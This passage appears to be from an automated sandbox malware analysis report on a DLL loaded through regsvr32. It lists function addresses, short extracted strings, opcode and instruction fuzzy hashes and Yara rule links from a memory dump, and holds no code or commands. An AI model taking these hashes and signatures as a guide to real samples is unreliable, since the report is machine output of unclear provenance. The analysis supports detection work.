Opcode Fuzzy Hash: c18687982be6c1a2fdabfac97a268a3404b4fe9754ccd0dba6adaab26aa3d97e
Instruction Fuzzy Hash: 35C18BB190060DCFCF68CF78D55A59D7BF1BB48308F606229F826AA2A2D3B49915CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014484 Relevance: 1.5, Strings: 1, Instructions: 224COMMON

Download Yara Rule

Strings

G, xrefs: 00000001800145F6

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: G
API String ID: 0-4067352199
Opcode ID: 571051391216adea76df2afa30ecc8bad161d89b390d9c97388838629c1a5ca4
Instruction ID: 225e36911d9d240547ab15c987b60d96220a9315f181ed6db9e7231e26a901aa
Opcode Fuzzy Hash: 571051391216adea76df2afa30ecc8bad161d89b390d9c97388838629c1a5ca4
Instruction Fuzzy Hash: 54A11871A0460CCFDF59DFA8C44A6DDB7F2FB48344F104529E816BB261CB749909CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018190 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

:d, xrefs: 0000000180018267

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :d
API String ID: 0-1981401805
Opcode ID: 7e01d6742b691afee721fc3f193522d49c245a6ce31efde50cdf5c406c664d98
Instruction ID: 210e0c3814bb066ec4f0600647a6f8918949d15d236ac433349e910c02a539df
Opcode Fuzzy Hash: 7e01d6742b691afee721fc3f193522d49c245a6ce31efde50cdf5c406c664d98
Instruction Fuzzy Hash: 55B1067150560DDFCB88DF28C089ADE7BE0FF58308F825229F80AA7255D774DA98DB49

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800207BC Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

'NL, xrefs: 00000001800208CD

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 'NL
API String ID: 0-130891299
Opcode ID: 8a3ed407222c8cc95b4195594c73c0a0709bd4276b41a18d313f15a757072ddc
Instruction ID: bb2c5b98f4e45d76fdff147334347c6d164a6d6c8cf2b5048c0250209dce3a22
Opcode Fuzzy Hash: 8a3ed407222c8cc95b4195594c73c0a0709bd4276b41a18d313f15a757072ddc
Instruction Fuzzy Hash: 08816770900748CFDB99CF68C4896DE7BF0FB48394F609129F94697261C774D989CB81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001705C Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

ETz, xrefs: 0000000180017234

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ETz
API String ID: 0-3877082699
Opcode ID: a70674ad09814c9e1798ed159b67f00a2b9c82905ce41e3639f5d760caf2f047
Instruction ID: db1a2cf02a49f3c5a1febdf95057c2803ba9c7043f43a3a74a84a847f8708688
Opcode Fuzzy Hash: a70674ad09814c9e1798ed159b67f00a2b9c82905ce41e3639f5d760caf2f047
Instruction Fuzzy Hash: 6281BC34A0674CCBDB65CFA8C0897CDBBF1FF68348F104119E915AA2A6CB70D559CB89

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800261E0 Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

#;*z, xrefs: 00000001800264EE

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #;*z
API String ID: 0-1682342327
Opcode ID: b680f4a085bd44a123493e5971e743dba8c621f53e8aa86b84bd23ce7ca92522
Instruction ID: dbf9c55ae058a2f54c24d1eac6a5ff2fe61b468a3017e99be0a6ffbf3af3057b
Opcode Fuzzy Hash: b680f4a085bd44a123493e5971e743dba8c621f53e8aa86b84bd23ce7ca92522
Instruction Fuzzy Hash: EF91E0715042888FCBB9DF24D88A7DA7BA1FB45348F50C229D88ECE261DFB0564DDB01

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024570 Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

dQ, xrefs: 00000001800246B3

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: dQ
API String ID: 0-4190919517
Opcode ID: 97a4412cc2303f28c05fec1f0b2e1d428cb8767c43294622f9f6b74118afce77
Instruction ID: 9d729ecabb7b74207a0fd84f221a36cedb2a9a3a0e5d95724699f54aa2ea8075
Opcode Fuzzy Hash: 97a4412cc2303f28c05fec1f0b2e1d428cb8767c43294622f9f6b74118afce77
Instruction Fuzzy Hash: 3E71E7711187988BDBFDCF28CC857D97BA6FB44744F20811CE84E8E261DB749A89CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000D7AC Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

)0, xrefs: 000000018000D866

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: )0
API String ID: 0-1029681778
Opcode ID: 40e7eb8740bf53d50ac0b689975ccfd72f61ab29a6f5010a355cdccaad617979
Instruction ID: 121df312e681884aeaf9abe1505228ce9ff72d97cb51e4d07d955d8bff2ee376
Opcode Fuzzy Hash: 40e7eb8740bf53d50ac0b689975ccfd72f61ab29a6f5010a355cdccaad617979
Instruction Fuzzy Hash: 6851673861660CCBDB69DF78D4852E93BE0FF69344F20402DFC6687266DB34D52A8B58

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012168 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

Uerm, xrefs: 0000000180012269

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Uerm
API String ID: 0-3179360214
Opcode ID: 9ac54ab8c90a486f4441a78f79c66deafdf79af98abc137c17ed1b11debabc8b
Instruction ID: 041d59295089493447bb19a8378e04636211af5195b78f50b28b80e802418f55
Opcode Fuzzy Hash: 9ac54ab8c90a486f4441a78f79c66deafdf79af98abc137c17ed1b11debabc8b
Instruction Fuzzy Hash: AD6103B190061A8FCF48DFA8C48A5EEBBB1FB58344F10822DE815AB365C7749A55CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015774 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

n?,#, xrefs: 0000000180015826

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: n?,#
API String ID: 0-1323099997
Opcode ID: 26b976f19a01f89e53d4e797cc3bc9c5337180b5ac8f28c70c7e0350769e597c
Instruction ID: 565b854ac311e8ede55e0f860d8d3b50ebc6ea35409b62ec986654d35b43713b
Opcode Fuzzy Hash: 26b976f19a01f89e53d4e797cc3bc9c5337180b5ac8f28c70c7e0350769e597c
Instruction Fuzzy Hash: 4461F97054878DCBEBBADE38C8897D937B0FB48344F908529E94E8E290DB749A458B45

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800059AC Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

NRx, xrefs: 0000000180005B20

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: NRx
API String ID: 0-1393999616
Opcode ID: b4a4ba5d31bb0dbda5b37bf156645da5abce175ef766aa9e7dc128ab78272a52
Instruction ID: 7c3eed2061eb3ea8b6bf0d1c70d9a16e0a2e2a77544f255897bb26607a47427d
Opcode Fuzzy Hash: b4a4ba5d31bb0dbda5b37bf156645da5abce175ef766aa9e7dc128ab78272a52
Instruction Fuzzy Hash: 46416C706197489BD3E5DF28C08679FBAE0FB88745F90A92DF585C32A1CB74C9488B43

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024104 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

{dN, xrefs: 00000001800241F3

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: {dN
API String ID: 0-923835543
Opcode ID: 9e75a9b6c969771d2fbed292b07595da2e1a6dc424cdc2e689696f47c6000392
Instruction ID: f9e1d774cd1a5aafce577d99eb21246fb33c51757267e19de4f8e3655d4c3e4d
Opcode Fuzzy Hash: 9e75a9b6c969771d2fbed292b07595da2e1a6dc424cdc2e689696f47c6000392
Instruction Fuzzy Hash: A24118B091470D8BCF48DFA8C58A1DEBFB1FB483A8F25521DE90AB6250C7749585CF88

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029134 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

hT, xrefs: 0000000180029140

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: hT
API String ID: 0-434349927
Opcode ID: 6dc475388242e87dfd02804309664708b9ba0169bf98e34e56dbb37a95c1b731
Instruction ID: 79a86a43dda6c0bf54cad5f70c675ce2074b99fb8c760d3b3e2f6daa19ea02a9
Opcode Fuzzy Hash: 6dc475388242e87dfd02804309664708b9ba0169bf98e34e56dbb37a95c1b731
Instruction Fuzzy Hash: 2A5190B190038E8BCB48DF68C88A5DE7BB0FB58308F104A19FC65A6250D7B4D669CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800135A6 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

w., xrefs: 0000000180013634

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: w.
API String ID: 0-4252102657
Opcode ID: 775cc355a8dd2b6f1bc8d8548c4489e17c5a54c9aeae587b6d573d3d7a9b0f7e
Instruction ID: ff83c9861e3aef96e788ade2e95c5d31a765335f039db5447ff320373d52f62b
Opcode Fuzzy Hash: 775cc355a8dd2b6f1bc8d8548c4489e17c5a54c9aeae587b6d573d3d7a9b0f7e
Instruction Fuzzy Hash: 524127B190434A8BCF48DF64C88A4DE7FB1FB58348F10861DEC5AA7250D7749659CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800079EC Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

\>, xrefs: 0000000180007A45

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: \>
API String ID: 0-4115654482
Opcode ID: ec85be460c7c8dfb7cf3a46c57a1e14dcdd929cba8cf803056f6d038e5aaf727
Instruction ID: c8bfe62f06df19f0db5cc8e5fd5c20be0a97c60a2c34a345c5b0509f61aa275d
Opcode Fuzzy Hash: ec85be460c7c8dfb7cf3a46c57a1e14dcdd929cba8cf803056f6d038e5aaf727
Instruction Fuzzy Hash: 5041B0B490038E8FDB48DF65D8895DE7BB0FB48358F104A1AEC25A6250D7B4D664CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F6DC Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

UfMm, xrefs: 000000018001F81D

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: UfMm
API String ID: 0-3877223347
Opcode ID: dec106b4a764423c6080cde6e3c380fc2c4206b9dd3c84e9483206ca750e3b76
Instruction ID: c77ef5b6f515275834e01b5fcfcfc22ffe1a93dbca634ff8363d49e0f941db2a
Opcode Fuzzy Hash: dec106b4a764423c6080cde6e3c380fc2c4206b9dd3c84e9483206ca750e3b76
Instruction Fuzzy Hash: A1519EB190474E8BCF49CF64C48A5DE7FB0FB68398F214219E85A96250D3B8D6A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800173DC Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

^I%, xrefs: 0000000180017487

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ^I%
API String ID: 0-4091345571
Opcode ID: 3f12ff418f07ff0dffb22bdd7eb3939b0fd24fdb2c19c7287af7d17ae91e7243
Instruction ID: 24279a7f0b8a810ed47d94a020ccddcda864278dcc3d62ea9a1aafd37f1cc870
Opcode Fuzzy Hash: 3f12ff418f07ff0dffb22bdd7eb3939b0fd24fdb2c19c7287af7d17ae91e7243
Instruction Fuzzy Hash: D641C2B090074E8BCB48DF68C58A4DE7FF0FB68398F204219EC16A6250D3B496A4CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008370 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

E, xrefs: 0000000180008443

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: E
API String ID: 0-4189953480
Opcode ID: 6b2582ab6db5c886dc2d719d00820c997d2b994a7b2935478f04cfa12a5363ce
Instruction ID: 97bb68eb89739962e45bd832e2874dcd633b22f5609a7b84b761109d701c7c23
Opcode Fuzzy Hash: 6b2582ab6db5c886dc2d719d00820c997d2b994a7b2935478f04cfa12a5363ce
Instruction Fuzzy Hash: B341D5B491038E8FCF88DF69D8495DE7BB0FB18358F104A19EC2AA6250D3B49664CF85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002582C Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

JLq, xrefs: 0000000180025857

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: JLq
API String ID: 0-4186083495
Opcode ID: 8d9a50e123908ca919991315c6f3e14c53aa3b8bc44063858183d3498e4e8681
Instruction ID: 27128c2ca0a5d288d3179379bf0eddb2aee49c7a11679c2610c242e98f2fdc84
Opcode Fuzzy Hash: 8d9a50e123908ca919991315c6f3e14c53aa3b8bc44063858183d3498e4e8681
Instruction Fuzzy Hash: 3C41D5B090064E8FDF48CF68C4865EE7BF1FB58358F114229E846AA254C7789A95CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800150F0 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

vYa-, xrefs: 0000000180015210

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: vYa-
API String ID: 0-893662192
Opcode ID: 035fd408088c0482a5a9e27521314a342b14366a032dbf1fe9b8c33d69753ec7
Instruction ID: ed719b7027dd4d7706803f37edca27847d3dc95415a6febebb675a1e15796353
Opcode Fuzzy Hash: 035fd408088c0482a5a9e27521314a342b14366a032dbf1fe9b8c33d69753ec7
Instruction Fuzzy Hash: 0741C0B090034E8FCF48CF64D88A5DE7FB0FB68398F104619E856A6250D7B896A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015BB8 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

< dA, xrefs: 0000000180015C3D

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: < dA
API String ID: 0-2747138368
Opcode ID: 207b38533736b510735db2aca9d27c508cf70737fe24697ea278d93009114e66
Instruction ID: 677e9d37894352eedc94dfbe70e1d5a5f16f85bbcaa69aa355918790c22682b0
Opcode Fuzzy Hash: 207b38533736b510735db2aca9d27c508cf70737fe24697ea278d93009114e66
Instruction Fuzzy Hash: 2741A0B180074E8FCB49CF64D48A4DE7FB0FB68388F204619E856A6254D7B496A8CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800135B4 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

w., xrefs: 0000000180013634

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: w.
API String ID: 0-4252102657
Opcode ID: 8dc8ab0dff87e9b75af9bc87b01f2b240cfc8c73fd94611f7c31912defe47775
Instruction ID: 9835b62cc5c81bb08ffa4c0ed138b56601e81b85f9b16a4ced47218125f66503
Opcode Fuzzy Hash: 8dc8ab0dff87e9b75af9bc87b01f2b240cfc8c73fd94611f7c31912defe47775
Instruction Fuzzy Hash: FC41E4B090434A8BCF48DF64C88A4DE7FB1FB58348F11861DEC5AA6250D7B496A9CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F878 Relevance: 1.3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

Strings

}]T*, xrefs: 000000018001F95B

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: }]T*
API String ID: 0-3642313528
Opcode ID: 7849323620c58637c1544052bb138ebef222585afcb74db7dd86457f284b6379
Instruction ID: a9b4d124700f7192ec0ffbe58db6f2cedd89af67995077d1789eaf9c0a4fefb8
Opcode Fuzzy Hash: 7849323620c58637c1544052bb138ebef222585afcb74db7dd86457f284b6379
Instruction Fuzzy Hash: 624191B191074E9FCF48DF64D48A4DE7FB0FB68388F214619E816A6210D3B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013568 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

w., xrefs: 0000000180013634

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: w.
API String ID: 0-4252102657
Opcode ID: da61243a15702063775777e79984a8309a15a56a41d8ca6f71a856d03373fb1d
Instruction ID: 13a44cd4838b071505596f301d9460f32b91f3f909068c68e30d7ec81fe075ae
Opcode Fuzzy Hash: da61243a15702063775777e79984a8309a15a56a41d8ca6f71a856d03373fb1d
Instruction Fuzzy Hash: 194104B090434A8BCF48CF64C88A4DE7FB1FB58348F10861DEC5AA6250D7B496A8CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E5D4 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

N8$, xrefs: 000000018000E64E

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: N8$
API String ID: 0-2933465586
Opcode ID: 0eb94b4c30cdf64432c8dd49aa40656dc32a215d341cf791ffb885c3adf2427e
Instruction ID: 297b3d980fd839d27da657b87e2df8633a1b9c783a0b67fb1012bddc2283f9fe
Opcode Fuzzy Hash: 0eb94b4c30cdf64432c8dd49aa40656dc32a215d341cf791ffb885c3adf2427e
Instruction Fuzzy Hash: 0241827180078E8FCB45CF64D88A4CE7FB0FB18358F105A19F865A7260D3B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002B564 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

wk, xrefs: 000000018002B5A3

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: wk
API String ID: 0-1447520534
Opcode ID: 0a0edc96079985f20ed57ef59bebf533c7b67d56244039d22a088e51808c84b4
Instruction ID: ed1e7f9bc21f483ed76e74f249cc539d96e15df8e9c5d2752f3a18cd8a4680c8
Opcode Fuzzy Hash: 0a0edc96079985f20ed57ef59bebf533c7b67d56244039d22a088e51808c84b4
Instruction Fuzzy Hash: A041C4B180074E8BCB48DF68D48A4CE7FF0FB68398F10461DE859A6250D7B49AA4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025180 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

D7 , xrefs: 000000018002519E

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: D7
API String ID: 0-599489778
Opcode ID: 0decf5b59288eb500aae667ac6c9b4e4dce6b838f673c5fc17c927a6ca0452b7
Instruction ID: 9ff7da26f915c3fd9b9081bc776a27ba1207aebd425a4d5bef8b93ab939ca450
Opcode Fuzzy Hash: 0decf5b59288eb500aae667ac6c9b4e4dce6b838f673c5fc17c927a6ca0452b7
Instruction Fuzzy Hash: 4541B0B090074E8BCF48DF68D4965DE7FB0FB68388F20421DE816A6250D7B496A5CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800048B0 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

-, xrefs: 00000001800048BC

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -
API String ID: 0-2547686586
Opcode ID: 39f87b108b025f322a4fb09bf0250602f0777b0869fb0748bb25e5d88246fb72
Instruction ID: fb4667ec304b728e9739446c3b2210f9efd75ae712771165d94948b9d3b69a1a
Opcode Fuzzy Hash: 39f87b108b025f322a4fb09bf0250602f0777b0869fb0748bb25e5d88246fb72
Instruction Fuzzy Hash: E641D2B181038ECFCB48CFA4D88A5CE7BB1FB48358F115A09FC65A6224D3B49665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015A64 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

Q, xrefs: 0000000180015A70

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Q
API String ID: 0-2885194100
Opcode ID: bdb98b8b2c0f07edeaa2617f1c602c347d51b8d3ebd884f46db44bb476cabbd3
Instruction ID: a9705b719f6d6278401c973a571993bf085652b79919a3d293b183e1acac7421
Opcode Fuzzy Hash: bdb98b8b2c0f07edeaa2617f1c602c347d51b8d3ebd884f46db44bb476cabbd3
Instruction Fuzzy Hash: 9141F5B180434E8FCF48CFA4C84A4DE7FB1FB18318F004619EC5AA6250D7B49664CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016054 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

UA;k, xrefs: 0000000180016115

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: UA;k
API String ID: 0-1243451539
Opcode ID: 9dbe3c72688dc078ed354c07d057a6794037f82480b8e2a0bdd9448b7935877c
Instruction ID: 446a4ee04f98266578c7fdeec7750357e9914a8a062f983f2ae732e753f3f9f0
Opcode Fuzzy Hash: 9dbe3c72688dc078ed354c07d057a6794037f82480b8e2a0bdd9448b7935877c
Instruction Fuzzy Hash: AC31E2B090034E8FCB48DF65C48A4DE7FB0FB68398F104619E859A6250D3B896A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017638 Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

BHj, xrefs: 0000000180017725

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: BHj
API String ID: 0-429444599
Opcode ID: b2d81b77ec5a3d92ed60f1e2a925d42953c8b0d81e9e004bfe4218ede8c6c85b
Instruction ID: 88d82d5a62f7e83910e755dc00f06a4804c179e3d48da98a41081325a3075538
Opcode Fuzzy Hash: b2d81b77ec5a3d92ed60f1e2a925d42953c8b0d81e9e004bfe4218ede8c6c85b
Instruction Fuzzy Hash: 2F31B2B190078E8FCF84DF64C88A5DE7BB0FB58358F010A09E869A6250D7B8D665CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800078A4 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

h, xrefs: 0000000180007961

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: h
API String ID: 0-130632579
Opcode ID: d5fc1072884fae1f5b57c471a7f51524b23a4deaf3d031234e0c0be062cfd6f2
Instruction ID: cf3c4ac770fe2f70a1efbbc55b0bf253fcb3f834dda7a796d3e0b8f6df5914ba
Opcode Fuzzy Hash: d5fc1072884fae1f5b57c471a7f51524b23a4deaf3d031234e0c0be062cfd6f2
Instruction Fuzzy Hash: 803102705187C48BD789CFA8C48965EFBE1FB94384F50492DF486867A0C7F8D948CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800050D4 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

?%4, xrefs: 00000001800050F0

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ?%4
API String ID: 0-422666221
